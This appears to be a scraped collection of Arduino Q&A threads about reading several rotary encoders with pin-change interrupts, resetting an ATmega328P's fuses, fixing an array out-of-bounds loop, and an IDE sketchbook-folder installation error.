
    void loop() {
      for (int ii=0; ii<4;ii++) {
        encoder_direction(ii);
      }
    }
    int encoder_direction(int m) {
      boolean encoderA;
      boolean encoderB;
      if(m == 0) {
        encoderA = (PIND & _BV (7)) == 0;
        //   digitalRead(7) encoderPinA
        encoderB = (PINB & _BV (4)) == 0;
        // digitalRead(12) encoderPinB
      }
      if (m == 1) {
        encoderA = (PINB & _BV (0)) == 0;
        // digitalRead(8) encoderPinA
        encoderB = (PIND & _BV (5)) == 0;
        // digitalRead(5) encoderPinB
      }
      if (m == 2) {
        encoderA = (PINC & _BV (1)) == 0;
        // digitalRead(A1) encoderPinA
        encoderB = (PIND & _BV (4)) == 0;
        // digitalRead(4)  encoderPinB
      }
      if (m == 3) {
        encoderA = (PIND & _BV (2)) == 0;
        // digitalRead(2) encoderPinA
        encoderB = (PINC & _BV (2)) == 0;
        // digitalRead(A2)  encoderPinB
      }
      if ((encoderALast[m] == HIGH) && (encoderA == LOW)) {
        if (encoderB == LOW) {
          //encoderPos --;
          encoderPos = -1;
        } else {
          //encoderPos ++;
          encoderPos = 1;
        }
        Serial.print(" Encoder ");
        Serial.print(m+1);
        Serial.print(" = ");
        Serial.println(encoderPos);
      }
      encoderALast[m] = encoderA;
    }

body:
I have [a page about rotary encoders](http://www.gammon.com.au/forum/?id=11130) - in that I show how you can detect encoder changes (and direction) using one interrupt pin and another pin, like this:

    // Wiring: Connect common pin of encoder to ground.
    // Connect pin A (one of the outer ones) to a pin that can generate interrupts (eg. D2)
    // Connect pin B (the other outer one) to another free pin (eg. D5)

    volatile bool fired;
    volatile bool up;

    const byte encoderPinA = 2;
    const byte encoderPinB = 5;

    // Interrupt Service Routine for a change to encoder pin A
    void isr ()
    {
      if (digitalRead (encoderPinA))
        up = digitalRead (encoderPinB);
      else
        up = !digitalRead (encoderPinB);
      fired = true;
    }  // end of isr

    void setup ()
    {
      pinMode (encoderPinA, INPUT_PULLUP);     // enable pull-ups
      pinMode (encoderPinB, INPUT_PULLUP);
      attachInterrupt (digitalPinToInterrupt (encoderPinA), isr, CHANGE);   // interrupt 0 is pin 2

      Serial.begin (115200);
    }  // end of setup

    void loop ()
    {
    static long rotaryCount = 0;

      if (fired)
        {
        if (up)
          rotaryCount++;
        else
          rotaryCount--;
        fired = false;

        Serial.print ("Count = ");
        Serial.println (rotaryCount);
        }  // end if fired

    }  // end of loop

In the main loop you just need to test the boolean `fired` to see if the encoder changed, and `up` to see if it went up (otherwise it went down).

---

>  I receive random of these values ...

I think with your code you need to detect **a change** - that is, if the encoder pin is now `HIGH` but was previously `LOW`.

---

# Solution for 4 encoders

> The problem is I am working on four encoders ...

I have reworked my code to use pin-change interrupts instead of external interrupts.

    // Wiring: Connect common pin of encoder to ground.

    volatile bool fired;

    const byte ENCODERS = 4;

    typedef struct
      {
      int aPin;     // which Arduino pin for the "A" side
      int bPin;     // which Arduino pin for the "B" side

      // values below are calculated at run-time
      volatile byte * aPort;  // which processor port the A side is plugged into
      volatile byte * bPort;  // which processor port the B side is plugged into
      byte aBitMask;   // which bit in the A port
      byte bBitMask;   // which bit in the B port
      byte whichInterrupt;  // which pin-change interrupt port (0, 1, 2)
      byte oldValue;   // old value of A port (to see if it changed)
      int count;       // current encoder counter
      } encoder;

     volatile encoder encoders [ENCODERS] =
      {

     // A   B  pins  (eg. D4 and D8, D5 and D9 and so on)

      { 4,  8 },
      { 5,  9 },
      { 6, 10 },
      { 7, 11 },

      };  // end of encoders

    void checkForPinChange (const byte which)
      {
      for (byte i = 0; i < ENCODERS; i++)
        {
        if (encoders [i].whichInterrupt == which)
          {
          byte newValue = *(encoders [i].aPort) & encoders [i].aBitMask;
          if (newValue != encoders [i].oldValue)
            {
            bool up;
            byte bPort = *(encoders [i].bPort) & encoders [i].bBitMask;
            if (newValue)
              up = bPort;
            else
              up = !bPort;
            fired = true;
            if (up)
              encoders [i].count++;
            else
              encoders [i].count--;
            encoders [i].oldValue = newValue;
            }  // end of if value has changed
          }   // end of if this is the right interrupt number
        }     // end of for each encoder
      } // end of checkForPinChange

    // handle pin change interrupt for D8 to D13 here
    ISR (PCINT0_vect)
     {
     checkForPinChange (PCIE0);
     }  // end of PCINT0_vect

    // handle pin change interrupt for A0 to A5 here
    ISR (PCINT1_vect)
     {
     checkForPinChange (PCIE1);
     }  // end of PCINT1_vect

    // handle pin change interrupt for D0 to D7 here
    ISR (PCINT2_vect)
     {
     checkForPinChange (PCIE2);
     }  // end of PCINT2_vect

    void setup ()
    {
     Serial.begin (115200);
     Serial.println ("Starting ...");

     PCIFR  |= bit (PCIF0) | bit (PCIF1) | bit (PCIF2);   // clear any outstanding interrupts

     for (byte i = 0; i < ENCODERS; i++)
        {
        pinMode (encoders [i].aPin, INPUT_PULLUP);
        pinMode (encoders [i].bPin, INPUT_PULLUP);
        // convert pin number to port, mask, etc. for efficiency

        // Input port
        encoders [i].aPort = portInputRegister (digitalPinToPort (encoders [i].aPin));
        encoders [i].bPort = portInputRegister (digitalPinToPort (encoders [i].bPin));

        // Which bit in the port to test
        encoders [i].aBitMask = digitalPinToBitMask (encoders [i].aPin);
        encoders [i].bBitMask = digitalPinToBitMask (encoders [i].bPin);

        // Which interrupt number (0, 1, 2)
        encoders [i].whichInterrupt = digitalPinToPCICRbit (encoders [i].aPin);

        // activate this pin-change interrupt bit (eg. PCMSK0, PCMSK1, PCMSK2)
        volatile byte * ICRmaskPort = digitalPinToPCMSK (encoders [i].aPin);
        *ICRmaskPort  |= bit (digitalPinToPCMSKbit (encoders [i].aPin));

        // enable this pin-change interrupt
        PCICR |= bit (digitalPinToPCICRbit (encoders [i].aPin));

        } // end of for each encoder

    }  // end of setup

    void loop ()
    {
      if (fired)
        {
        for (byte i = 0; i < ENCODERS; i++)
          {
          char buf [10];
          sprintf (buf, "]", encoders [i].count);
          Serial.print (buf);
          }
        Serial.println ();
        fired = false;
        }  // end if fired

    }  // end of loop

The code is general enough to handle 1 to x encoders (eg. 10 encoders) - within reason! You need to have 2 pins spare per encoder (the third pin goes to ground). One of the pins needs to be capable of pin-change interrupts (on the Uno that is all of them).

The code sets up to detect an interrupt on the "A" side of the encoder and tests the value on the "B" side to see if it was turned clockwise or counter-clockwise.

I am getting results like this (with 2 encoders connected):

       16  -19    1    1
       17  -19    1    1
       18  -19    1    1
       19  -19    1    1
       20  -19    1    1
       21  -19    1    1
       22  -19    1    1
       23  -19    1    1
       23  -20    1    1
       23  -21    1    1
       23  -22    1    1
       23  -23    1    1
       23  -24    1    1
       23  -25    1    1

The other two are showing as "1" (that is, not turned yet).


body:
Using polling to read multiple encoders may work if you program quite carefully and if you dedicate the processor just to reading encoders; but generally, interrupt-driven encoder processing has a higher likelihood of working ok.  The example below uses pin-change interrupts to read from three rotary encoders that are attached to PD2...PD7, ie, six consecutive bits of port D.  It can be extended to more encoders by adding another pin-change ISR to handle another interrupt vector, or by using PD0 and PD1 as encoder inputs.  (However, PD0 and PD1 are RX and TX on the Uno I'm testing with, and I'm using Serial for test output.)

*Example: rotors3.ino*

    /*  Rotors3 -- JW, December 2016 -- Uses 4-state state-machine
     *  implementation of rotary encoding for KY-040 rotary knobs.  The
     *  state-machine picture in a Feb 4, 2014 7:40 PM post at
     *  https://e2e.ti.com/support/microcontrollers/hercules/f/312/t/318762
     *  by Anthony Seely shows counts increasing on transitions 10 -> 11
     *  -> 01 -> 00 -> 10 and decreasing on transitions the other way.
     *  The ISR in this program decodes those transitions using logical
     *  operations on variables `changes` and `wayflag`.  Transitions
     *  between 00 and 11 or 10 and 01 are invalid and ignored.
     */

    volatile byte abOld;  // Old state
    volatile byte changedCount; // Change-indication
    volatile int count[3];  // current rotary count

    void setupRotors3(byte ioMode, byte enablePCI) {
      pinMode( 2, ioMode); //  2, PD2   PCINT 18
      pinMode( 3, ioMode); //  3, PD3   PCINT 19
      pinMode( 4, ioMode); //  4, PD4   PCINT 20
      pinMode( 5, ioMode); //  5, PD5   PCINT 21
      pinMode( 6, ioMode); //  6, PD6   PCINT 22
      pinMode( 7, ioMode); //  7, PD7   PCINT 23
      if (enablePCI) {
        PCMSK2 |= 0xfc; // Set mask for bits of interest
        PCIFR  |= 0x04; // Clear PC interrupts if any
        PCICR  |= 0x04; // Enable PC interrupts
      }
      abOld = changedCount = count[0] = count[1] = count[2] = 0;
    }

    void setup() {
      setupRotors3(INPUT_PULLUP, true);
      Serial.begin(115200);
      Serial.println("Starting Rotary Encoder Test");
    }

    // On interrupt, read input pins, compute new states, and adjust
    // counts.  This code depends on encoder data appearing like ddccbbaa,
    // ie data is in properly paired consecutive port bits.
    ISR(PCINT2_vect) {
      byte abNew = PIND & 0xfc; // Read pins  2, 3, 4, 5, 6, 7,
      byte changes = abNew^abOld; // Use XOR to flag changed bits
      char wayflag = 2*abNew^abNew; // Use XOR to get state-bits
      byte test2;
      for (byte i=0; i<3; ++i) {
        // For PD2-7, low 2 bits aren't relevant.  Move the shifts to
        // end of for loop if low 2 bits carry encoder info.
        wayflag >>= 2;  // Discard low state-bits
        changes >>= 2;  // Discard low change-bits
        test2 = changes & 3; // Get 2 bits of interest
        if (test2==1) {
          count[i] += 1-(wayflag&2);
          changedCount = true;
        } else
          if (test2==2) {
            count[i] -= 1-(wayflag&2);
            changedCount = true;
          }
      }
      abOld = abNew;        // Save new state
    }

    void loop() {
      if (changedCount) {
        changedCount = false; // Race condition can be ignored
        for (byte i=0; i<3; ++i) {
          Serial.print(count[i]); // Announce counts
          Serial.print("  ");
        }
        Serial.println(millis()); // Announce change-time
      }
    }

Note, `setupRotors3()` and a few other statements in the program were generated using the *ISR-framework-generating Sketch* from [an answer to an earlier question](https://arduino.stackexchange.com/a/19109/3917).  If you need to use other input pins than those shown in the program above, you can use the framework generator to produce a setup routine and port-I/O statements for them.

Following is some output from the program as above, from when I turn two of the three 60-counts-per-turn encoders as fast as I can by hand, for half a turn each at the same time (about 4 RPS, or 240 RPM).

    -2  1  0  1127
    -2  2  0  1133
    -2  3  0  1148
    -2  4  0  1155
    -3  4  0  1165
    -3  5  0  1166
    -4  5  0  1169
    -4  6  0  1170
    -5  6  0  1174
    -5  7  0  1177
    -6  7  0  1178
    -6  8  0  1181
    -7  8  0  1184
    -7  9  0  1187
    -8  9  0  1189
    -8  10  0  1190
    -9  10  0  1196
    -9  11  0  1197
    -10  12  0  1200
    -10  12  0  1201
    -11  12  0  1205
    -11  13  0  1207
    -12  13  0  1210
    -12  14  0  1211
    -12  15  0  1215
    -13  15  0  1216
    -13  16  0  1220
    -14  16  0  1221
    -15  16  0  1224
    -15  17  0  1226
    -16  17  0  1229
    -16  18  0  1230
    -17  18  0  1234
    -17  19  0  1235
    -18  19  0  1239
    -18  20  0  1241
    -19  20  0  1243
    -19  21  0  1247
    -20  21  0  1248
    -21  21  0  1251
    -21  22  0  1252
    -22  22  0  1255
    -22  23  0  1258
    -23  23  0  1259
    -24  23  0  1263
    -24  24  0  1264
    -25  24  0  1266
    -25  25  0  1269
    -26  25  0  1271
    -27  25  0  1275
    -27  26  0  1275
    -28  26  0  1280
    -28  27  0  1281
    -29  27  0  1284
    -29  28  0  1288
    -30  28  0  1291
    -31  28  0  1301
    -31  29  0  1341
    -32  29  0  1346
    -32  30  0  1385
    -33  30  0  1389


message:
Reset and Remove Arduino ATmega328P?

So I have 2 Arduinos, and im wanting to remove the chip from one and reset it to like it came from the factory and then breadboard it and attempt to program it using an AVR programmer (Or maybe an Arduino AS a programmer).

Why? Mainly because I want to make sure I can and understand how to program the chips when I order them standalone and on a breadboard.

Is this possible? I imagine the Arduino bootloader will be on the chip and the fuses will be different, but can I over-write them if I decide to just program it as a standalone AVR chip?

Thanks!

body:
You can initialize any Arduino compatible MCU easily, the procedures are well [documented][1] on the Arduino website.

There is even [documentation][2] to allow you to build based on the ATMega8L for a minimal system with no external crystal oscillator. This is a little harder to do, but not much.

  [1]: https://www.arduino.cc/en/Tutorial/ArduinoToBreadboard
  [2]: http://playground.arduino.cc/Learning/Atmega83-3V


body:
I have [a sketch that uploads data to various Atmega chips (including the 328P)](http://www.gammon.com.au/uploader).

Even without an SD card attached you can do things like erase the chip and set fuses. So what I would do is erase the chip (thus the bootloader and any other code are gone), and then set the fuses to the factory defaults.

For the Atmega328P I believe these are:

* Low: 0x62
* High: 0xD9
* Extended: 0xFF
* Lock: 0xFF

Source: <http://www.engbedded.com/fusecalc>


body:
"and im wanting to remove the chip
from one and reset it to like it came from the factory "
"Is this possible? "

Yes you can rewrite the atmega328 (used or blank) to reset arduino  to factory condition.
Yes you can use arduino as a programmer as other answer before implies.
If you are using blank new atmega328 you burn new bootloader from arduino IDE to make
factory reset arduino uno.

"I imagine the Arduino bootloader will be on the
 chip and the fuses will be different, but can I over-write them if
I decide to just program it as a standalone AVR chip? Is this possible?"

The arduino is a microcontroller development board which of course means
you can make the arduinos atmega 328 as standalone on breadboard; in addition to
that you can change the fuses to work with different speed crystals-which is what
 you seem to be asking.


body:
> Im just trying to learn AVR programming without the I guess "handholding" of arduino functions/etc.

You don't actually need to do anything. You don't need any breadboard, any programmer, nothing.

You can *use the Arduino environment, upload facility, and board to learn low-level AVR programming*.

Just because the Arduino helper functions exist it doesn't mean you *actually have to use them*.

The first step on your progression to professional embedded developer is to get to grips with low-level registers. You can do all that from within the Arduino environment. You have access to everything in the Arduino IDE that you have in any other IDE in the way of low-level chip functions. They are functions of the chip, not the IDE.

If you want to progress to a professional IDE and use hardware debugging you can still use an Arduino board. After all, it's just an MCU on a PCB. Just plug your hardware programmer into the hardware programming connector on the board. Why mess around with breadboards and all the trouble that they give with dodgy connections? Just because an Arduino has an Arduino logo on it you aren't forced to use it with the Arduino IDE.


message:
About Arrays in Arduino

I have a question about arrays in Arduino. Sorry for my bad English.
I want to put numbers in an array, and I think the code below works properly.

However, it doesn't work and corrupted numbers show up in the Serial monitor. Even `delay(1000)` doesn't work.

If I change `ND_MAC[i]=128;` to "ND_MAC[i]=126;", it works properly. So I'm wondering if this array is char type, but I designate int to array.
How to solve it?

    int ND_MAC[7];
    char i=0;
    void setup() {
      Serial.begin(9600);
    }
    void loop() {
      for(i=0;i<8;i++){
        ND_MAC[i]=128;
        Serial.print(ND_MAC[i],HEX);
      }
      Serial.println();
      delay(1000);
    }

body:
For an array of size 7, the indexes start from `0` (`ND_MAC[0]`) and end at `6` (`ND_MAC[6]`) as @MikaelPatel commented.

So the solution to your issue would be changing the condition in for loop to

    for(i=0;i<7;i++) //Changed 8 in your code to 7

Here, the loop iterates from i = 0 to 1 < 7 (i.e., till 6)
and it should work. :)


message:
How do I deal with this Arduino IDE installation error?

I am using Linux Fedora 20 (yes I am going to upgrade it, definitely, soon) and I have installed arduino-1.8.0, but I get this message ...

> Your copy of the IDE is installed in a subfolder of your sketchbook.
> Please move the IDE to another folder

... when I click on the desktop icon, or run ./arduino. I have tried moving the tar.xz file to its own folder `ArduinIDE` again installed it but get the same message. Please,what should I do to get out of this? Please no answers like "just do what it says":in that case what do I move, and what criteria does the destination need to have?

body:
Delete (or edit) your `preferences.txt` file - it most likely has your sketchbook folder set to your home directory.

You may find it in `~/.arduino15` for the "real" Arduino IDE, or in (I think) `~/.arduino` for the arduino.org one.

Unless you have a specific reason for wanting to run 1.8.0, which is actually 1.0.6 re-numbered, you should be using the version from arduino.cc which is currently 1.6.13.


body:
This is still happening. The exception message is not clear. It is objecting to being installed in "the same folder as your sketchbook", not in a "subfolder of the sketchbook".  It should ideally read...

> Your copy of the IDE is installed in the **parent** folder of your sketchbook.
> Please move the IDE to another folder.

You should be able to put side by side versions in /opt or create another branch in your home folder.